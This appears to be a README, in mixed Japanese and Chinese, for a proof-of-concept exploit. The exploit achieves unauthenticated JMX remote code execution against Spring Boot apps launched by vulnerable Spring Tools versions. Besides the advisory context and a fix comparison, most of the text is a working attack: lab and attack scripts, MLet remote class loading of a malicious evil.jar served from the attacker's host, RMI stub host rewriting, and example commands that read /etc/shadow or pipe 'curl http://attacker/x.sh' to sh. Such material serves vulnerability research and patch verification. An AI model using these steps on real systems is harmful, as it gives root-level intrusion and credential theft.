
Spring Toolsのライブ情報モードにおける認証なしJMX RCEの概念実証エクスプロイト。MLetリモートクラスローディングを使用して、脆弱なSpring Bootアプリケーション上で任意のコマンドを実行します。
English README | 脆弱性アドバイザリ: Spring Security Advisory | CVE Record
脆弱性:Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0 が live information モード(デフォルトで有効)で Spring Boot アプリケーションを起動すると、アプリケーションに認証なし、TLS なし、全ネットワークインターフェースにバインドされた JMX リモートパラメータを注入します。隣接ネットワークの攻撃者は、資格情報なしでこの JMX MBeanServer に接続でき、MLet リモートクラスローディングを通じて**直接 RCE(root 権限)**を実現できます。
AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H影響を受けるタグ 5.2.0.RELEASE(== v2.2.0)と修正タグ 5.3.0.RELEASE(== v2.3.0)を比較:
脆弱版 eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:
"-Dcom.sun.management.jmxremote", // 启用 JMX
"-Dcom.sun.management.jmxremote.port=<随机空闲端口>",
"-Dcom.sun.management.jmxremote.authenticate=false", // 无认证!
"-Dcom.sun.management.jmxremote.ssl=false", // 无 TLS!
"-Djava.rmi.server.hostname=localhost", // 唯一"障碍": RMI stub 通告 localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*" // 全部 actuator 端点经 JMX 暴露
BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true:デフォルトで有効。IDE から Boot アプリを起動するたびに上記のパラメータが注入されます。vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts)は同じ -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false を注入します。修正版 5.3.0:
-Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true を追加(JMX はループバックのみにバインド)。com.sun.management.jmxremote* パラメータを一切注入しなくなり、Attach API によりプロセス PID でローカルアタッチする方式に変更(VSCode 側も同様で、debug-config-provider.ts からリモート JMX パラメータを完全に削除)。注意:
-Dcom.sun.management.jmxremote.portが単独で存在するだけで JMX agent が有効になります(メインスイッチcom.sun.management.jmxremoteは不要)。VSCode のバリアントでも同様に有効です。
スクリプトは完全に分離されています:setup-lab.sh は環境構築のみを担当し、attack.sh は攻撃・悪用のみを担当します。依存関係:docker、JDK 17+(デフォルト /usr/lib/jvm/java-21-openjdk-amd64)、maven、python3、nsenter(オプション)。
setup-lab.sh)./setup-lab.sh vuln # 漏洞配置 (5.2.0 参数) [默认]
./setup-lab.sh fixed-pinned # 修复版 5.3.0 固定端口 (JMX 仅 127.0.0.1)
./setup-lab.sh fixed-auto # 修复版 5.3.0 默认 auto (无远程 JMX 端口)
./setup-lab.sh cleanup # 停止并删除容器与网络
自動補完:被害者の Spring Boot アプリケーションをビルド → 分離された docker ブリッジネットワークを作成(被害者コンテナ 172.22.0.x、攻撃者はホスト上に位置し、隣接ネットワークをシミュレート)→ 対応するバージョンの JVM パラメータでアプリケーションを起動 → JMX リスンポートを表示 → 被害者マシンの IP / JMX ポート / ゲートウェイを出力。被害者コンテナは稼働状態を維持し、そのまま次の攻撃ステップに進める。
attack.sh)./attack.sh <受害机IP> 19090 "id; whoami; uname -a" 8000
# 自定义命令(默认 id; hostname; uname -a,改命令无需重编译)
PAYLOAD_HOST=172.22.0.1 ./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000
スクリプトを利用して自動的に完了する:悪意のある jar をコンパイル → mlet.txt を生成(コマンドは <ARG> 経由で渡す)→ HTTP サービスを起動してペイロードを提供 → エクスプロイトを実行。ペイロードはコマンドを実行して結果を返すだけ:コマンドは /bin/sh -c 経由で被害者の JVM 内で同期的に実行され、出力はメモリ内でキャプチャされ、その後エクスプロイトプログラムが同じ JMX 接続を経由して Pwn.getOutput() を呼び出し、攻撃側に引き戻して直接表示する(終了コードを含む)。標的マシンには一切ファイルを書き込まない。出力を標的マシンに残したい場合は、コマンド内で自身でリダイレクトすればよい(例:"id > /tmp/out.txt")。
対照実験:まず
./setup-lab.sh vulnで攻撃が成功することを確認;次に./setup-lab.sh cleanup && ./setup-lab.sh fixed-pinnedを実行すると攻撃は失敗するはず(JMX はループバックのみ)。
attack.sh(推奨)コマンドは完全に設定可能で、コマンドを変更するために何も再コンパイルする必要はない(コマンドは MLET の <ARG> タグ経由で渡され、jar はコマンドとは無関係):
./attack.sh <目标IP> <JMX端口> "<命令>" [HTTP端口] [受害容器名]
# 示例
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a" # 基本信息
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000 # 读文件
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000 # 管道/反弹等
./attack.sh 192.168.1.20 19090 "id" 8000 # 通用远程目标
# 环境变量
PAYLOAD_HOST=192.168.1.10 ./attack.sh ... # 指定受害机能访问到的本机 IP(默认自动探测)
JDK_DIR=/path/to/jdk ./attack.sh ... # 指定 JDK
プロセス:evil.jar を自動コンパイル → コマンドを XML エスケープして mlet.txt を生成 → HTTP サービスを起動して evil.jar + mlet.txt を提供 → JmxExploit をコンパイルして実行。ペイロードはコマンドを実行して出力をエコーするだけで、ターゲットマシンに一切ファイルを書き込まない。
# 1) 编译恶意载荷
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .
# 2) 生成 mlet.txt(把 <命令> 换成你的命令,注意 XML 转义 & < > ")
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<命令>">
</MLET>
EOF
# 3) 提供载荷
python3 -m http.server 8000 --bind 0.0.0.0 # 在 exploit-server 目录下
# 4) 编译并运行利用程序(JDK 17+ 需要 --add-opens 反射改写 RMI stub)
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
-cp classes JmxExploit <目标IP> <JMX端口> "http://<本机IP>:8000/mlet.txt"
# 5) 自行验证命令是否执行(输出在受害应用控制台/日志里,如 docker exec victim tail /app.log)
Pwn は DynamicMBean を実装しており、コマンドはコンストラクタ内で /bin/sh -c を経由して同期的に実行されます(優先順位:MLET <ARG> パラメータ > 被害プロセスの環境変数 CVE_PAYLOAD_CMD > デフォルトコマンド id; hostname; uname -a)。Pwn によってメモリにキャプチャされ、エクスプロイトプログラムはロード後に JMX 経由で getOutput() / getExitCode() を呼び出し、出力と終了コードを攻撃側に引き戻して表示します。ターゲットマシン上には一切ファイルが書き込まれません(コマンド自体の副作用を除く)。出力をターゲットマシンにも同時に残したい場合は、コマンド内で自身でリダイレクトしてください("id > /tmp/out.txt" または "id 2>&1 | tee /app.log")。なぜ
<ARG>を使うのか? JDK のMLetParserは<ARG>のみを認識し(<PARAM>は黙って無視されます)、かつTYPE/VALUEはどちらも必須です。さらに MLet パーサーは HTML コメントを処理しないため、mlet.txt内に余計な<...>テキストを含めてはいけません。
攻击者 ──TCP──▶ 受害者 JMX RMI 注册表(19090) ← 攻击者主动连受害者的服务
攻击者 ◀──TCP── 受害者 RMI Server(随机端口) ← 正常 JMX 协议通信
攻击者 ──调用──▶ 受害 JVM: newClient(null) ← 无凭据登录 MBeanServer
攻击者 ──调用──▶ 受害 JVM: getMBeansFromURL(...) ← 受害 JVM 同步实例化恶意类
受害 JVM ──HTTP GET──▶ 攻击者 :8000/evil.jar ← 唯一的"回调": 下载载荷 jar
受害 JVM 内部: Pwn 构造函数 Runtime.exec("<命令>") ← 命令在受害进程内直接执行
getMBeansFromURL が戻った時点でコマンドは完了している(出力はすでに被害者アプリケーションのログ/コンソールに出力されている)。-Djava.rmi.server.hostname=localhost は RMI stub に "localhost" を通知させるだけである(デフォルトのクライアントは自身のループバックへ接続しようとして失敗する。NaiveJmxClient で再現可能)。JmxExploit はリフレクションで stub の TCPEndpoint ホストを実際の IP に書き換えることでバイパスできる(Metasploit の java_jmx_server など既製ツールでも同様にバイパス可能)。| 構成 | JMX リスン | リモート未認証接続 | RCE |
|---|---|---|---|
| 5.2.0 脆弱版(Eclipse パラメータ) | *:19090 など(0.0.0.0) | ✅(stub ホスト書き換えで localhost をバイパス) | ✅ root |
| 5.2.0 脆弱版(VSCode 2.2.0 パラメータ) | *:19090(0.0.0.0) | ✅ | ✅ |
| 5.3.0 修正版(固定ポート) | 127.0.0.1 のみ | ❌ 接続拒否 | ❌ |
| 5.3.0 修正版(デフォルト auto) | JMX ポートなし | ❌ | ❌ |
実測証拠(攻撃側に直接エコー、標的マシン上にファイルはゼロ):